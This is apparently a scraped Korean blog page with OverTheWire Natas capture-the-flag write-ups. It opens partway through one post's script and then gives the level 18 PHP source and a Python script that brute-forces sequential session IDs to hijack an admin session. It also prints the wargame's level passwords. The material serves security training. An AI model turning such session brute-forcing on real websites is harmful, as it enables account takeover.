        "Cookie" : "__cfduid=d62588c346b7fefe6a36232811fc47dda1432660601; __utma=176859643.1780879635.1432660604.1432660604.1432660604.1; __utmc=176859643; __utmz=176859643.1432660604.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID="+convert_urlencode(str(i)+"-admin")
    })
    response = urllib2.urlopen(request)
    data = response.read()
    if "You are an admin." in str(data):
        print "[*] FIND IT!!! Admin Session is "+str(i)
        break;
    else:
        print str(i)+" is Not Admin Session!"
    time.sleep(1)







The password for natas20 is eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 21  (0) 2015.06.06
OverTheWire - Natas Level 20  (0) 2015.06.05
OverTheWire - Natas Level 19  (1) 2015.05.27
OverTheWire - Natas Level 18  (0) 2015.05.27
OverTheWire - Natas Level 17  (0) 2015.05.27
OverTheWire - Natas Level 16  (0) 2015.02.02
  1. 2015.05.30 06:48

    비밀댓글입니다



이번 문제는 생각보다 간단한 Session Hijaking 문제다.

<? 

$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
    if($_REQUEST["username"] == "admin") { 
    /* This method of authentication appears to be unsafe and has been disabled for now. */ 
        //return 1; 
    } 

    return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
    return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
    global $maxid; 
    return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) { 
        debug("Session start failed"); 
        return false; 
    } else { 
        debug("Session start ok"); 
        if(!array_key_exists("admin", $_SESSION)) { 
        debug("Session was old: admin flag set"); 
        $_SESSION["admin"] = 0; // backwards compatible, secure 
        } 
        return true; 
    } 
    } 

    return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas19\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
    } 
} 
/* }}} */ 

$showform = true; 
if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  

if($showform) { 
?> 

<p> 
Please login with your admin account to retrieve credentials for natas19. 
</p> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
Password: <input name="password"><br> 
<input type="submit" value="Login" /> 
</form> 
<? } ?>


먼저 소스를 보면 현재로서는 어드민으로 로그인 하는게 불가능하다는 것을 알게 될 것이다.

하지만 SESSION ID를 매우 단순하게 숫자로 주므로 admin이 로그인 해 있다는 가정하에 admin의 SESSION 을 가로채는 Session hijaking 문제이다.

먼저 SESSION ID의 범위는 1에서 640사이의 숫자로 랜덤으로 생성되기 때문에 Bruteforce를 이용해 문제를 풀어보도록 하자.

아래는 필자가 문제를 풀기 위해 프로그래밍 한 소스코드이다.


import urllib
import urllib2
import time

for i in range(1,641):
    url = "http://natas18.natas.labs.overthewire.org/index.php"
    form = {"username" : "admin", "password" : "anything"}

    form_req = urllib.urlencode(form)

    request = urllib2.Request(url, form_req, headers ={
        "Authorization" : "Basic bmF0YXMxODp4dktJcURqeTRPUHY3d0NSZ0RsbWowcEZzQ3NEamhkUA==",
        "Cookie" : "__cfduid=d62588c346b7fefe6a36232811fc47dda1432660601; __utma=176859643.1780879635.1432660604.1432660604.1432660604.1; __utmc=176859643; __utmz=176859643.1432660604.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID="+str(i)
    })
    response = urllib2.urlopen(request)
    data = response.read()
    if "You are an admin." in str(data):
        print "[*] FIND IT!!! Admin Session is "+str(i)
        break;
    else:
        print str(i)+" is Not Admin Session!"
    time.sleep(1)







The password for natas19 is 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 20  (0) 2015.06.05
OverTheWire - Natas Level 19  (1) 2015.05.27
OverTheWire - Natas Level 18  (0) 2015.05.27
OverTheWire - Natas Level 17  (0) 2015.05.27
OverTheWire - Natas Level 16  (0) 2015.02.02
OverTheWire - Natas Level 15  (0) 2015.02.02

+ Recent posts